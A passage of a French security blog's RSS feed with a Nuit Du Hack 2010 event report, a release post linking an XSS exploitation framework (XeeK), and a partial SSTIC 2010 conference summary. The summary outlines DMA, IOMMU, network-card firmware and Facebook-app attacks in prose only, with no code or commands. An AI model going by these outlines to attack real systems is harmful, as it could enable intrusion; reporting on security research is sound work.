			<wfw:commentRss>https://www.segmentationfault.fr/projets/volatilitux-physical-memory-analysis-linux-systems/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Nuit Du Hack 2010 &#8211; Bilan</title>
		<link>https://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/</link>
		<comments>https://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 20:28:31 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=843</guid>
		<description><![CDATA[La Nuit Du Hack 2010 est déjà finie&#8230; Courte et intense sont je pense les deux qualificatifs les plus adaptées à cet événement qui a battu une fois de plus ses records en terme de fréquentation. Je n&#8217;ai pas encore les chiffres exacts, mais nous avons enregistré pas moins de 600 entrées. Autant dire que [...]]]></description>
			<content:encoded><![CDATA[<p>La Nuit Du Hack 2010 est déjà finie&#8230; Courte et intense sont je pense les deux qualificatifs les plus adaptées à cet événement qui a battu une fois de plus ses records en terme de fréquentation. Je n&rsquo;ai pas encore les chiffres exacts, mais nous avons enregistré pas moins de 600 entrées. Autant dire que la péniche Concorde Atlantique battait son plein&#8230; Comme <a href="http://silkcut.wordpress.com/2010/06/20/ndh2010-unofficial-party-report/">Silkcut</a>, je vais tenter de faire un petit résumé de l&rsquo;événement, avec mon point de vue en tant que membre de l&rsquo;équipe d&rsquo;organisation.<span id="more-843"></span></p>
<p>[EDIT] Je viens de mettre en ligne mes slides <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/XeeK.pdf">ici</a>. Toutes les autres sont dispos sur <a href="http://www.nuitduhack.com/slides2010-fr-nuit-du-hack.htm">le site officiel</a>.</p>
<p>[EDIT 2] Le challenge public a été mis en ligne sur <a href="http://wargame.nuitduhack.com/">cette page</a>. Bonne chance à tous <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Préparation</h3>
<p>Bien que l&rsquo;événement ne dure qu&rsquo;une nuit, il s&rsquo;agit d&rsquo;un travail de préparation de plusieurs mois. Outre le temps passé à rechercher des conférenciers et des ateliers, le développement du CTF et du challenge commun nous a pris plus d&rsquo;un mois. Contrairement aux autres années, nous avions vraiment pris de l&rsquo;avance sur l&rsquo;organisation de l&rsquo;événement, qui a débuté fin 2009.</p>
<p>En ce qui me concerne, j&rsquo;étais chargé de gérer les conférences, et surtout veiller à ce que l&rsquo;on ne prenne pas (trop) de retard sur le planning. J&rsquo;ai fort heureusement été aidé par Silkcut et Vorex, sans qui je n&rsquo;aurais probablement jamais réussi à gérer les deux tracks en simultané. Les ateliers étaient gérés par <a href="http://www.ghostsinthestack.org/">Heurs</a>, les bars tenus par Crashfr, Pieuvre, Tr00ps, Freeman et Ginette, Olive s&rsquo;occupait de l&rsquo;organisation générale, John, Qbix et Philemon aux platines, Rosa, Cathy et Picon à l&rsquo;accueil, pendant que <a href="http://www.virtualabs.fr/">Virtualabs</a>, <a href="http://sh4ka.fr/">Sh4ka</a>, <a href="http://mysterie.fr/blog/">Mysterie</a>, <a href="http://www.shell-storm.org/">Shell-storm</a>, <a href="http://niklosweb.free.fr/">NiklosKoda</a> et <a href="http://infond.blogspot.com/">T0ka7a</a> s&rsquo;occupaient des challenges. Et encore, je suis sûr d&rsquo;oublier à peu près la moitié des autres membres de l&rsquo;équipe qui se sont investis dans l&rsquo;installation de l&rsquo;événement et son bon déroulement.</p>
<h3>Conférences</h3>
<p>N&rsquo;ayant pu au final suivre que peu de conférences (sans cesse à courir partout pour gérer le timing et les imprévus) je ne pourrais malheureusement pas faire de résumé détaillé ici. Fort heureusement les slides seront bientôt publiées sur <a href="http://www.nuitduhack.com/">le site officiel</a>. J&rsquo;ai plus ou moins suivi la track 2 au rez-de chaussée, avec :</p>
<ul>
<li> Malwares Unix par <a href="http://www.c0a8.org/">Julien Reveret</a>, où on apprend les facilités de propagation de codes malveillants qu&rsquo;offrent ce type de plateforme</li>
<li>Xeek &#8211; XSS Easy Exploitation framework présentée par moi-même, où j&rsquo;ai enfin <a href="http://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/">publié</a> l&rsquo;outil sur lequel je bosse depuis un an. Le public a l&rsquo;air d&rsquo;avoir bien aimé la démo de xeekconsole, dommage que j&rsquo;ai manqué de temps pour faire celle de xeekproxy. Je pensais faire un atelier à ce sujet, mais finalement je n&rsquo;ai pas eu le temps. Les slides sont dispos <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/XeeK.pdf">ici</a>, je rajouterai prochainement un tutorial d&rsquo;installation/utilisation.</li>
<li>La sécurité antivirale est un échec, par <a href="http://www.ghostsinthestack.org/">Heurs</a>, qui détruit le mythe de l&rsquo;anti-virus en exposant une demi douzaine de vulnérabilités trouvées par fuzzing d&rsquo;IOCTL, dont des 0-days, sur des solutions telles que Kaspersky, Bitdefender, Kerio, Comodo, etc.</li>
<li>Embedded Security par <a href="http://iphonejtag.blogspot.com/">Geohot</a>, une des guest-stars de l&rsquo;événement, qui expose les mécanismes de sécurité des plateformes embarquées telles que les téléphones Nokia, l&rsquo;iPhone et la PS3, et comment il est parvenu à toutes les faire tomber. Vraiment une excellent conférence&#8230; juste dommage que des problèmes vidéo nous aient empêchés de retransmettre la conférence à l&rsquo;étage du dessus avec une qualité convenable.</li>
<li>Virtualisation et sécurité, par Emmanuel Istace, qui démontre que les deux ne sont pas synonymes, et qu&rsquo;une fois de plus beaucoup de problèmes à ce sujet sont du à l&rsquo;interface chaise-clavier&#8230;</li>
<li>Analyse avancée de la mémoire physique par <a href="http://www.msuiche.net/">Matthieu Suiche</a>, qui expose les différentes techniques d&rsquo;acquisition et d&rsquo;analyse à l&rsquo;aide des différents outils dont il est l&rsquo;auteur : Win32dd, Moonsols Memory Toolkit</li>
<li>Lockpicking avancé par Cocolitos et Mr Jack, qui montrent par l&rsquo;exemple différentes techniques d&rsquo;ouverture de serrures de haute sécurité (certaines étant utilisées dans des coffres forts).</li>
</ul>
<p>D&rsquo;après les retours que j&rsquo;ai eu, les conférences ont été bien appréciées. Quelques problèmes techniques ont été rencontrés : bug de micro, streaming de mauvaise qualité pour les confs de Geohot et Matthieu Suiche, coupure d&rsquo;électricité&#8230; Je regrette vraiment ces problèmes qui font partie des aléas du direct (<a href="http://fr.wikipedia.org/wiki/Loi_de_Murphy">Murphy</a> était parmi nous) et j&rsquo;espère que cela n&rsquo;aura pas trop embêté le public.</p>
<p>Je n&rsquo;ai quasiment pas suivi les ateliers qui se déroulaient en parallèle aux confs et au CTF ; j&rsquo;ai juste aperçu XavBox à son stand de puçage de console, NoCrash pour le lockpicking et Barbozor se préparant à tourner son premier épisode de la saison 3 de <a href="http://www.lagrottedubarbu.com/">la grotte du barbu</a> ayant pour thème le hacking de caddie&#8230;</p>
<p>Au final, les confs se terminent un peu après minuit (seulement une vingtaine de minutes de retard !), et laissent la place au challenge qui se déroule dans la cale.</p>
<p>Retrouvez toutes les slides sur <a href="http://www.nuitduhack.com/slides2010-fr-nuit-du-hack.htm">le site officiel de la NDH</a>.</p>
<h3>Capture The Flag</h3>
<p>Après avoir câblé toute la salle en une trentaine de minutes, les 12 équipes sont accueillies et s&rsquo;installent. Virtualabs présente rapidement l&rsquo;objectif du challenge. Comme l&rsquo;année dernière, il s&rsquo;agit de défendre ses serveurs (Windows et Linux) tout en attaquant ceux des autres équipes. Pour valider une faille, l&rsquo;équipe doit récupérer un hash et le soumettre, chaque épreuve ne pouvant être résolue qu&rsquo;une seule fois.</p>
<p>Les dénis de services sont autorisés, mais ne doivent pas cibler le serveur de monitoring. L&rsquo;accès à Internet est fourni mais ne doit pas être utilisé pour communiquer avec des personnes extérieures sous peine de pertes de points voire de disqualification. La grosse nouveauté cette année est la présence d&rsquo;un tableau de bord pour les équipes qui permet de suivre en temps réel l&rsquo;évolution des scores. Les équipes sont libres de corriger leurs failles, mais ne disposent pas d&rsquo;un accès root. En parallèle à cela, des épreuves communes sont lancées sur un serveur dédié.</p>
<p>Après quelques validations de la team Choucroute, les dénis de service deviennent rapidement (et malheureusement) la seule stratégie viable, du fait de la quantité importante de points perdue par l&rsquo;équipe victime. Cela engendre alors un nombre assez importants de problèmes : plus de réseau pour certaines équipes, épreuves non accessibles, déconnexions SSH intempestives&#8230; Comme si cela ne suffisait pas, des problèmes internent viennent s&rsquo;ajouter : problèmes au niveau du serveur de monitoring, crash de la base MySQL à cause d&rsquo;une erreur de débranchement de prise électrique, problèmes sur les permissions des fichiers dus à une mauvaise version des ghosts déployés, etc. Sans parler du challenge public qui est assailli par des dizaines de participants et dont le Wifi souffre atrocement. Les concepteurs du CTF ne savent plus ou donner de la tête et sont sans cesse en train de redémarrer les VMs, patcher des fichiers sur les serveurs équipes (quand ceux-ci sont accessibles), etc. Et la team WWFamous ne les aide pas, puisque ce sont eux qui lancent majoritairement tous ces DoS à grand coup de slowloris et variantes sur SSH&#8230;</p>
<p>A 6h45, les WWFamous sont déclarés vainqueurs, Beerware terminent 2ème et Kowalski 3ème. Les lots sont distribués : disques datalocker, place pour Hacker Halted à Miami, formations&#8230;</p>
<p>Le public quitte tranquillement la péniche, tandis que nous remballons tout le matériel en luttant contre la fatigue&#8230;</p>
<p>Au final, très peu d&rsquo;épreuves ont pu être exploitées avec succès pendant ce challenge. Pas mal d&rsquo;équipes nous ont demandé s&rsquo;il était possible de diffuser les épreuves en ligne ainsi que les solutions. C&rsquo;est désormais chose faite ! Rendez-vous sur <a href="http://wargame.nuitduhack.com/">wargame.nuitduhack.com</a> et préparez-vous à griller quelques neurones <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Bilan</h3>
<p>J&rsquo;ai croisé beaucoup de monde pendant cette soirée, mais je n&rsquo;ai malheureusement pas pu discuter avec tout le monde. En me basant sur les retours de ces personnes, je pense pouvoir affirmer que cette Nuit Du Hack 2010 était un véritable succès. Certes nous avons rencontré un certain nombre de problèmes qui en ont déçu certains, notamment le streaming qui n&rsquo;a pas pu se faire convenablement, ou les dysfonctionnement des challenges. Nul n&rsquo;est parfait ; chaque année nous faisons face à certains problèmes que nous tentons de résoudre l&rsquo;année suivante. On le voit clairement lorsque l&rsquo;on compare la NDH de cette année avec celle de 2007 par exemple&#8230; Cette année, un effort considérable a été porté sur l&rsquo;organisation du challenge, la communication avec les équipes, le respect du timing pour les conférences, le niveau sonore (qui, on le rappelle, était assez insupportable les années précédentes), etc. Je remercie toute l&rsquo;équipe pour avoir réussi à organiser un événement de cette ampleur, qui est à ma connaissance le plus grand de ce genre en France.</p>
<p>N&rsquo;hésitez pas à donner votre avis sur l&rsquo;événement, faites nous part de vos remarques et vos suggestions pour les années futures. Un topic/sondage va très certainement être ouvert sur les <a href="http://forums.thehackademy.net/">forums officiels</a>, alors comme on dit, lachez vos com&rsquo; !</p>
<p>Note : Ayant été assez occupé, je n&rsquo;ai pris que très peu de photos de l&rsquo;événement. Je les mettrai sans doute en ligne dans quelques jours. En attendant vous pouvez en trouver sur <a href="http://www.lestutosdenico.com/">Les Tutos de Nico</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Release de XeeK v0.1b</title>
		<link>https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/</link>
		<comments>https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 16:15:21 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Applications]]></category>
		<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XeeK]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=833</guid>
		<description><![CDATA[Comme promis, voici la toute première release de XeeK, en direct de la Nuit Du Hack 2010. Comme son numéro de version le suggère, il s&#8217;agit d&#8217;une version BETA donc potentiellement buggée . XeeK v0.1b : archive comportant le client, le serveur, ainsi que l&#8217;aide (fichiers INSTALL.txt et README.txt) Slides de la conférence (PDF) J&#8217;éditerai [...]]]></description>
			<content:encoded><![CDATA[<p>Comme promis, voici la toute première release de XeeK, en direct de la Nuit Du Hack 2010. Comme son numéro de version le suggère, il s&rsquo;agit d&rsquo;une version BETA donc potentiellement buggée <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<span id="more-833"></span></p>
<ul>
<li><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/xeek-0.1b.zip">XeeK v0.1b</a> : archive comportant le client, le serveur, ainsi que l&rsquo;aide (fichiers INSTALL.txt et README.txt)</li>
<li><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/XeeK.pdf">Slides de la conférence</a> (PDF)</li>
</ul>
<p>J&rsquo;éditerai ce billet prochainement pour y ajouter un petit tutorial concernant l&rsquo;installation et l&rsquo;utilisation de XeeK.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>De retour du SSTIC 2010</title>
		<link>https://www.segmentationfault.fr/securite-informatique/sstic-2010/</link>
		<comments>https://www.segmentationfault.fr/securite-informatique/sstic-2010/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 12:08:41 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=812</guid>
		<description><![CDATA[Me voici de retour de l&#8217;édition 2010 du SSTIC. C&#8217;était la première fois que j&#8217;allais à cette excellente conférence, réunissant pas moins de 450 personnes autour de différents thèmes centrés sur la sécurité des systèmes d&#8217;information. Au programme : 3 jours de conférences, des rump sessions, un social event, des geeks, des trolls, du code [...]]]></description>
			<content:encoded><![CDATA[<p>Me voici de retour de l&rsquo;édition 2010 du <a href="http://www.sstic.org/2010">SSTIC</a>. C&rsquo;était la première fois que j&rsquo;allais à cette excellente conférence, réunissant pas moins de 450 personnes autour de différents thèmes centrés sur la sécurité des systèmes d&rsquo;information. Au programme : 3 jours de conférences, des <em>rump sessions</em>, un <em>social event</em>, des geeks, des trolls, du code qui défile, bref une super ambiance. <a href="http://sid.rstack.org/blog/index.php">Plusieurs</a> <a href="http://www.n0secure.org/">personnes</a> ont déjà fait un compte rendu détaillé de chaque conf (qui plus est en temps réel, chapeau à eux !), aussi je ne détaillerai ici que celles que j&rsquo;ai trouvées les plus marquantes. Ce billet est pour le moment incomplet, il sera terminé très prochainement.<span id="more-812"></span></p>
<h3>Enjeux et défis pour le renseignement technique</h3>
<p>La première conférence est présentée par Bernard Barbier, directeur technique de la <a href="http://fr.wikipedia.org/wiki/Direction_g%C3%A9n%C3%A9rale_de_la_s%C3%A9curit%C3%A9_ext%C3%A9rieure">DGSE</a>. Il y présente les activités pratiquées par l&rsquo;agence à l&rsquo;extérieur du territoire français, principalement en matière de renseignement d&rsquo;origine technique, et rappelle les différents enjeux liés à la sécurité des systèmes d&rsquo;information, en particulier les moyens de communication  et la cryptographie. Quelques méthodes techniques d&rsquo;obtention de renseignement sont illustrées, tout en rappelant leur aspect souvent clandestin et les conséquences que cela peut avoir dans certains pays. On y apprend (ou pas) que la DGSE pratique l&rsquo;écoute téléphonique, analyse des photos satellite, utilise des super-calculateurs à des fins de cryptanalyse, et met en œuvre des techniques visant à fragiliser les méthodes de chiffrement lorsque celles-ci ne sont pas cassable en un temps raisonnable. Le tout étant présenté avec une transparence relative mais appréciable, du moins tant qu&rsquo;on ne demande pas de la taille des clés RSA que l&rsquo;agence est en mesure de casser <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . La conf se termine par un message clair : la DGSE recrute 100 personnes par an. Candidats, faites-vous connaître&#8230;</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Keynote par Bernard Barbier, directeur technique de la DGSE" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUhP91uPI/AAAAAAAAFRE/rqeGABYqB3I/s640/IMG_8780.JPG" alt="Keynote par Bernard Barbier, directeur technique de la DGSE" width="448" height="336" /><p class="wp-caption-text">Keynote par Bernard Barbier, directeur technique de la DGSE</p></div>
<h3>CASTAFIOR : Détection automatique de tunnels illégitimes par analyse statistique</h3>
<p>Fabien Allard et Mathieu Morel (Thales) présentent un outil permettant de détecter l&rsquo;utilisation de différents protocoles encapsulés dans du HTTPS. Leur méthode est basée sur un apprentissage utilisant un ensemble d&rsquo;exemples traité en utilisant différentes méthodes de classification, les paramètres étant principalement la longueur des paquets et le temps entre chacun. Leurs expériences montrent que les meilleurs résultats sont obtenus en combinant <a href="http://en.wikipedia.org/wiki/Random_forest">Random Forest</a> et les <a href="http://fr.wikipedia.org/wiki/Mod%C3%A8le_de_Markov_cach%C3%A9">modèles de Markov cachés</a>. Au final, on obtient 96% de bonnes classifications, et aux alentours de 5%.</p>
<h3>virtdbg : un débogueur noyau utilisant la virtualisation matérielle</h3>
<p>Damien Aumaitre et Christophe Devine (<a href="http://esec.fr.sogeti.com/blog/index.php">SOGETI ESEC</a>) dévoilent un debugger au but simple mais ambitieux : pouvoir debugger un système Windows 7 64 bits sans activer le flag /DEBUG, ni désactiver <a href="http://en.wikipedia.org/wiki/Kernel_Patch_Protection">PatchGuard</a>. Deux problèmes : impossible de charger un driver non signé par la méthode classique, ni de patcher l&rsquo;<a href="http://en.wikipedia.org/wiki/Interrupt_descriptor_table#IDT">IDT</a> (PatchGuard l&rsquo;en empêche). Leur technique consiste à utiliser le <a href="http://fr.wikipedia.org/wiki/Acc%C3%A8s_direct_%C3%A0_la_m%C3%A9moire">DMA</a> afin d&rsquo;injecter leur driver comprenant leur hyperviseur. Pour ce faire, ils utilisent un FPGA connecté par PCMCIA sur la machine à debugger, et en USB sur le debugger. L&rsquo;hyperviseur utilise la virtualisation hardware basée sur la technologie <a href="http://en.wikipedia.org/wiki/X86_virtualization#Intel_Virtualization_Technology_for_x86_.28Intel_VT-x.29">Intel  VT-x</a> (à la <a href="http://bluepillproject.org/">BluePill</a>), et permet d&rsquo;intercepter les interruptions 1 et 3. L&rsquo;interface de leur debugger est codée en Python, et dialogue avec l&rsquo;hyperviseur en utilisant le protocole <a href="http://davis.lbl.gov/Manuals/GDB/gdb_31.html">GDB</a>. Le tout avec une démo qui marche, bravo à eux <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Démo de virtdbg par Damien Aumaitre et Christophe Devine" src="http://lh3.ggpht.com/_Rzr3MErwyvk/TBOUiLGfRkI/AAAAAAAAFRI/QCEJbZXqTpY/s640/IMG_8790.JPG" alt="Démo de virtdbg par Damien Aumaitre et Christophe Devine" width="448" height="336" /><p class="wp-caption-text">Démo de virtdbg par Damien Aumaitre et Christophe Devine</p></div>
<h3>Analyse de programme par traçage</h3>
<p>Pour Daniel Reynaud, Jean-Yves Marion et Wadie Guizani, l&rsquo;analyse statique de blob binaire c&rsquo;est bien, mais pas suffisant. Surtout dans le cas de binaires packés par couches. On propose donc un outil libre nommé <a href="http://code.google.com/p/tartetatintools/">TraceSurfer</a> basé sur <a href="http://www.pintool.org/">PIN</a>, permettant de suivre de déroulement d&rsquo;un programme en générant des traces, puis de les importer dans des outils comme <a href="http://www.hex-rays.com/idapro/">IDA Pro</a>. Le résultat est assez sexy ; on peut alors visualiser les instructions effectivement exécutées par le programme, et détecter les éventuelles protections anti-debugging comme les auto-modifications ou contrôles d&rsquo;intégrité. Il est possible de générer des graphes mettant en évidences les différentes couches d&rsquo;un binaire packé. Pour tester sa performance, l&rsquo;outil a été lancé sur un cluster dans le but de détecter des protections anti-VM de plusieurs milliers de malwares obtenus grâce à un honeypot. Les résultats sont assez intéressants, bien que je ne me souvienne plus des chiffres&#8230; À tester !</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="TraceSurfer en action dans IDA Pro" src="http://lh6.ggpht.com/_Rzr3MErwyvk/TBOUi5QLErI/AAAAAAAAFRQ/p73mEPYc5Mg/s640/IMG_8801.JPG" alt="TraceSurfer en action dans IDA Pro" width="448" height="336" /><p class="wp-caption-text">TraceSurfer en action dans IDA Pro</p></div>
<h3>Intéressez-vous au droit&#8230; avant que le droit ne s&rsquo;intéresse à vous.</h3>
<p>Éric Barbry nous livre un véritable <em>one man show</em> qui contraste fortement avec le caractère technique des conférences précédentes. La France possède toute une série de lois relative aux systèmes d&rsquo;informations, dont certaines difficilement applicables, et en pratique rarement appliquées en intégralité : Informatique et libertés, LSQ, LCEN, HADOPI, LOPPSI, etc. Et pourtant, «nul n&rsquo;est censé ignorer la loi»&#8230; L&rsquo;accent est porté sur la responsabilité, autour de questions concrètes telles que «Qui est le responsable si un employé télécharge illégalement du contenu ou parie en ligne sur des sites non autorisés depuis son bureau ?». Une très bonne intervention qui aura su capter l&rsquo;intérêt de l&rsquo;auditoire tout en traitant d&rsquo;un sujet souvent considéré comme barbant <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Les multiples casquettes du RSSI" src="http://lh6.ggpht.com/_Rzr3MErwyvk/TBOUjZ0h14I/AAAAAAAAFRU/e2cxD2MGMlE/s640/IMG_8802.JPG" alt="Les multiples casquettes du RSSI" width="448" height="336" /><p class="wp-caption-text">Les multiples casquettes du RSSI</p></div>
<h3>Résultats et solution du challenge</h3>
<p>Le lendemain matin, on présente les résultats du <a href="http://communaute.sstic.org/ChallengeSSTIC2010">challenge</a> de cette année, qui en a dérouté plus d&rsquo;un. Les solutions sont en ligne, je vous invite donc à les lire car je doute vraiment être le mieux placé pour les exposer ici&#8230; On a droit à un résumé par Arnaud Ébalard (EADS Innovation Works) dont la solution a été classée 1ère en terme de qualité. En vrac, on notera la récupération des .APK en utilisant les spécificités du format ZIP et un bruteforce sur les pages physiques, une couche crypto ressemblant à du Vigenère, une clé publique dont la seule composante utile était la sous-clé ElGamal, l&rsquo;utilisation de <a href="http://pari.math.u-bordeaux.fr/">PARI/GP</a> pour l&rsquo;attaquer, la décompilation des .DEX avec <a href="http://code.google.com/p/smali/">Baksmali</a>, du reversing de librairie .SO, des énigmes tordues, et un hash Shabal 256 mal utilisé. Un grand bravo à lui ainsi qu&rsquo;à tous ceux qui ont réussi le challenge !</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Mentions spéciales pour le challenge du SSTIC 2010" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUjqE3rtI/AAAAAAAAFRY/oUtNwupLilw/s640/IMG_8806.JPG" alt="Mentions spéciales pour le challenge" width="448" height="336" /><p class="wp-caption-text">Mentions spéciales pour le challenge</p></div>
<h3>Analyse de l&rsquo;efficacité du service fourni par une IOMMU</h3>
<p>Par Éric Lacombe, Fernand Lone Sang, Vincent Nicomette et Yves Deswarte (LAAS/CNRS). Le but d&rsquo;une <a href="http://en.wikipedia.org/wiki/IOMMU">IOMMU</a> est de contrôler les accès à la mémoire par les différents périphériques d&rsquo;entrée/sortie, telle que la MMU vis-à-vis du CPU. Dans le cadre des attaques DMA, une IOMMU traduit les adresses virtuelles demandées par le périphériques en adresses physique en se basant sur deux critères principaux : le source-id identifiant le périphérique, et des tables de traductions internes. La conférence présente deux attaques visant chacun de ces critères : la reconfiguration des tables et le spoofing de source-id. La deuxième attaque est mise en œuvre en utilisant un pont PCI &#8211; PCI Express, fréquent surtout pour les machines anciennes. Un tel pont permet de connecter des devices PCI sur l&rsquo;interface PCI Express ; le problème étant que tous les devices PCI rattachés partagent alors le même source-id. Une démo faisant intervenir un iPod malveillant et une carte réseau connecté sur un tel pont montre comment il est possible de déclencher une attaque d&rsquo;ARP Cache Poisonning. Les paquets ARP étant injectés par l&rsquo;iPod dans les buffers de réception gérés par les drivers de la carte réseau, l&rsquo;attaquant n&rsquo;a plus besoin d&rsquo;envoyer de trames. On a ainsi droit à un hijacking en live d&rsquo;un épisode de The Big Bang Theory regardé en streaming <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Quelques éléments en matière de sécurité des cartes réseau</h3>
<p>Par Guillaume Valadon, Loic Duflot, Olivier Levillain et Yves-Alexis Perez (ANSSI). Cette excellente conférence revient sur l&rsquo;exploitation d&rsquo;une <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0104">vulnérabilité</a> des cartes réseau Broadcom, patchée depuis. On y apprend avec stupéfaction (du moins pour ma part !) qu&rsquo;une carte réseau est très loin d&rsquo;être un élément &laquo;&nbsp;simple&nbsp;&raquo;. En effet, celle-ci possède un firmware qu&rsquo;il est possible de flasher temporairement, qui gère certains protocoles de façon automatique et ce sans que le CPU en ait conscience ! Ainsi, ces carte réseau comportent leur propre pile IP et est même capable de gérer des messages SOAP&#8230; Le problème, c&rsquo;est que celles-ci sont parfois implémentées sans notion de sécurité. Ici en l&rsquo;occurrence, les auteurs mettent en évidence un buffer overflow touchant le champ &laquo;&nbsp;username&nbsp;&raquo; du protocole <a href="http://en.wikipedia.org/wiki/Alert_Standard_Format">ASF</a>,  utilisé pour le management et le monitoring. Pour être en mesure de l&rsquo;exploiter, ils ont du coder un debugger de carte réseau, en utilisant le fait que les registres de la carte sont mappés en mémoire, et que celle-ci possède des options de debug (mode single-step, breakpoint&#8230;). En live, ils exploitent la vulnérabilité et montrent comment déclencher un remote root shell en envoyant un message ICMP. Vraiment bluffant&#8230;</p>
<p style="text-align: left;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Exploitation de buffer overflow dans le firmware d'une carte réseau" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUmMplNsI/AAAAAAAAFRo/XmpPSp3IucQ/s640/IMG_8820.JPG" alt="Exploitation de buffer overflow dans le firmware d'une carte réseau" width="448" height="336" /><p class="wp-caption-text">Exploitation de buffer overflow dans le firmware d&#39;une carte réseau</p></div>
<h3>Applications Facebook : Quels Risques pour l&rsquo;Entreprise ?</h3>
<p>Alban Ondrejeck, Francois-Xavier Bru et Guillaume Fahrner montrent les résultats d&rsquo;une expérience intéressante visant à mettre à l&rsquo;épreuve le (non) contrôle des applications Facebook. Sous le couvert d&rsquo;une application &laquo;&nbsp;Who crashed you?&nbsp;&raquo; codée maison et a priori &laquo;&nbsp;utile&nbsp;&raquo;, ils récoltent des informations personnelles sur les utilisateurs l&rsquo;ayant installé, et exploitent le caractère viral du réseau social. En créant une vingtaine de profils fictifs et en ajoutant divers personnes comme amies, ils parviennent très rapidement à répandre l&rsquo;application et à collecter des informations sur tous leurs utilisateurs (dommage, je n&rsquo;ai pas noté les chiffres). Cela montre une absence de contrôle concernant les permissions de telles applis.</p>
<h3>Projet OpenBSC</h3>
<p>Harald Welte part d&rsquo;un constat simple : les protocoles GSM et 3G sont documentés publiquement, mais les études de sécurité à ce sujet sont très peu nombreuses, du fait que l&rsquo;industrie de la téléphonie est un monde très fermé (coût très élevé du hardware, notamment). Et pourtant, ces protocoles sont beaucoup plus répandus que ce que l&rsquo;on pourrait croire. Comme le dit si bien l&rsquo;orateur, «GSM is more than phone calls» : ce protocole est utilisé non seulement par les téléphones, mais aussi par certaines voitures, trains, systèmes d&rsquo;alarmes, distributeurs, etc. Après avoir exposé rapidement l&rsquo;architecture d&rsquo;un réseau GSM, l&rsquo;auteur introduit le projet <a href="http://openbsc.osmocom.org/trac/">OpenBSC</a>, qui vise à fournir les éléments nécessaires à la réalisation de son propre réseau GSM. Une sorte d&rsquo;Asterisk pour le GSM, en gros&#8230; Les différents problèmes de sécurité du GSM sont rapidement abordés : pas d&rsquo;authentification entre le téléphone et le réseau, chiffrement faible, optionnel et non explicite (rien ne permet à un utilisateur de savoir si ses communications sont véritablement chiffrées), dénis de service possibles, géolocalisation&#8230; N&rsquo;ayant jamais étudié ces protocoles, je suis loin d&rsquo;avoir tout saisis, mais la conférence était très intéressante et incite à en savoir plus.</p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Architecture d'un réseau GSM" src="http://lh4.ggpht.com/_Rzr3MErwyvk/TBOUn2WB6GI/AAAAAAAAFR0/aE1cbJAa3Wk/s640/IMG_8833.JPG" alt="Architecture d'un réseau GSM" width="448" height="336" /><p class="wp-caption-text">Architecture d&#39;un réseau GSM</p></div>
<h3>Rumps sessions</h3>
<p>Pour les néophytes du SSTIC, les <em>rumps sessions</em> sont des mini exposés de 4 ou 5 minutes présentables par n&rsquo;importe qui et sur n&rsquo;importe quel sujet, lié de près ou de loin à la sécurité. Je n&rsquo;ai pas tout noté (pas comme <a href="http://sid.rstack.org/blog/index.php/411-en-direct-du-sstic-le-retour">Sid</a>), donc voici en vrac quelques une d&rsquo;entre elles :</p>
<ul>
